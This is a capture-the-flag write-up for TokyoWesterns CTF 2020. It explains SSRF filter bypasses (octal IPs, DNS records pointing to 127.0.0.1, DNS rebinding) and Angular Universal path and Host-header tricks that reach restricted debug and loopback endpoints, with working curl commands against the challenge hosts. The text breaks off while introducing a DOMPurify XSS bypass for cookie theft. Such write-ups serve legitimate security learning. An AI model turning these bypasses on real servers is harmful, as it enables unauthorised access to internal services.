# TokyoWesterns CTF 2020 | writeups by @terjanq
## Urlcheck v1 (98 points, 160 solves)
The goal was to bypass WAF protection to access local resources.
```py
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')
def valid_ip(ip):
matches = app.re_ip.match(ip)
if matches == None:
return False
ip = list(map(int, matches.groups()))
if any(i > 255 for i in ip) == True:
return False
# Stay out of my private!
if ip[0] in [0, 10, 127] \
or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
or (ip[0] == 169 and ip[1] == 254) \
or (ip[0] == 192 and ip[1] == 168):
return False
return True
...
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
```
It can be done with octal IP notation `http://0177.0.0.1/admin-status`, which yields
#### TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}
## Urlcheck v2 (128 points, 108 solves)
The goal was to bypass a WAF again, but this time the IP adress was checked using [ipaddress](https://docs.python.org/3/library/ipaddress.html) library.
```py
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
...
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
```
Because the above code does two DNS resolves, first to check if private and second to request the resource, I simply added two A records to the DNS entry.
| Type | Hostname | Value | TTL (seconds) |
| ---- | ----------------- | ------------- | ------------- |
| A | double.terjanq.me | 127.0.0.1 | 30 |
| A | double.terjanq.me | 51.38.138.162 | 30 |
After a few attempts I got a flag:
#### TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(}
### More reliable solution
The way I solved the challenge relies on luck. You either get a correct order of DNS resolves or not. A more reliable way of solving is to set up your own DNS server which will first respond with *public IP* and then the *local* one. Since the attack is similar to DNS Rebinding, one can use [singularity](https://github.com/nccgroup/singularity) to set up such a server.
**Demo**
Singularity provides DEMO application, so you can reuse their IP addresses `s-35.185.206.165-127.0.0.1-RANDOM-fs-e.d.rebind.it`
http://urlcheck2.chal.ctf.westerns.tokyo/check-status?url=http://s-35.185.206.165-127.0.0.1-RANDOM-fs-e.d.rebind.it/admin-status
*Note: Replace `RANDOM` with something RANDOM, it should yield the flag instantly*
## Angular of the Universe
The challenge was about bypassing the Angular application that was set up behind Nginx reverse proxy. The challenge contained two flags:
- first was hidden in the angular endpoint `/debug/answer` restricted by the Nginx and the application
- second hidden in the express endpoint `/api/true-answer` which yielded results only for `127.0.0.1` IP addresses.
### Flag#1 /debug/answer (139 points, 39 solves)
The goal was to access `/debug/answer` endpoint which was restricted in two ways:
* the nginx restricted access to `/debug*` via:
```conf
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
allow 127.0.0.1;
deny all;
}
```
* the application was rejecting requests containg a `debug` word via:
```js
if (process.env.FLAG && req.path.includes('debug')) {
return res.status(500).send('debug page is disabled in production env')
}
```
I managed to score the first blood on this challenge via a simple request to `/\%64ebug/answer`.
```sh
curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/\%64ebug/answer'
```
This works because angular recognizes `\` as `/`, and %-decodes strings. Therefore it matched to `debug/answer`.
#### TWCTF{ky0-wa-dare-n0-donna-yume-ni?kurukuru-mewkledreamy!}
### Flag#2 /api/true-answer (149 points, 34 solves)
As mentioned, the application was displaying the flag if the request came from the loopback network.
```js
server.get('/api/true-answer', (req, res) => {
console.log('HIT: %s', req.ip)
if (req.ip.match(/127\.0\.0\.1/)) {
res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)
} else {
res.status(500).send('Access restricted!')
}
});
```
Because the application was hidden behind Nginx proxy, `req.ip` was always pointing to the same IP address of the reverse proxy. The application didn't also trust `X-Forwarded-*` headers so this value couldn't be overridden.
When accessing `/q` endpoint, the application was displaying contents of `/api/answer`. It was done on the server-side via the below snippet.
```ts
ngOnInit(): void {
...
// fetch answer via API
this.service.getAnswer().subscribe((answer: string) => {
this.answer = answer
})
}
}
```
`this.service.getAnswer()` was yielding `this.http.get('/api/answer')`.
```ts
getAnswer() {
return this.http.get('/api/answer')
}
```
Apparently angular when doing HTTP requests uses `Host` header, something around `PROTOCOL + HOST + / PATH`. Not only that but also follows the redirects. Therefore by providing a custom host and redirecting anything to `127.0.0.1/api/true-answer`, we get the flag.
```sh
curl 'http://universe.chal.ctf.westerns.tokyo/a' -H 'Host: terjanq.me'
```
#### TWCTF{you-have-to-eat-tomato-yume-chan!}
### Bonus - insane Path Traveral
When playing with the challenge, I also found a super fancy way of solving the challenge for the second flag.
```sh
curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: \debug\answer'
```
When Angular tries to match up the path, it parses the URL created from `PROTOCOL + HOST + PATH`. Because we injected `\debug\answer` as the host, the Angular parses `http://\debug\answer\` and retrieves the `path` as `/debug/answer`. This is an ultimately odd behavior!
The code responsible for this odd behavior can be found [here](https://github.com/angular/universal/blob/v10.1.0/modules/express-engine/src/main.ts#L56-L57).
```js
renderOptions.url =
renderOptions.url || `${req.protocol}://${(req.get('host') || '')}${req.originalUrl}`;
```
## Angular of another Universe (239 points, 8 solves)
This was basically the Flag#1 challenge, but the request was double proxied with Apache and Nginx.
```
Apache2 -> Nginx -> Express -> Angular
```
Unlike Nginx, Apache2 is very restrictive towards parsing the HTTP request. The `Host` header is very restrictive for invalid values and `\` character is encoded with `%5C`. Therefore trick from [#Bonus](#Bonus) will not work.
Now not only the Nginx forbids `/debug*` but also Apache. It is blocked via:
```xml
Order Allow,Deny
Deny from all
```
While the challenge wasn't supposed to be too hard, it was proven to be so with the little number of solves on it.
Angular allows for secondary segments in the path, which is well explained in the [article](https://subscription.packtpub.com/book/application_development/9781787288904/3/ch03lvl1sec23/secondary-segments) I found. Although it was clear to me it will be something with this feature, it took us hours on debugging and finding how to exploit this. By diving into Angular source codes, I [discovered](https://github.com/angular/angular/blob/1801d0c6500ea5e677e753fbcfb73dbd3675f054/packages/router/src/url_tree.ts#L321) a `primary` segment in code, which quickly led me to the solution, which was [http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)](http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)).
This was probably the intended way of solving the previous challenge as well.
After visiting the URL, I got the flag
#### TWCTF{theremightbeanotheranotheranotherissuesinuniverse}
## Bfnote (320 points, 18 solves)
This was a client-side challenge, whose goal was to steal the admin's cookie.
### DOMPurify Bypass
The application was protected by DOMPurify in version 2.0.16 which during CTF happened to have a complete bypass in Chrome. A few days ago, [MichaĆ Bentkowski](https://twitter.com/SecurityMB) disclosed a very cool [mXSS bypass](https://twitter.com/SecurityMB/status/1306940251496230912) for the sanitizer which abused strange behaviors of `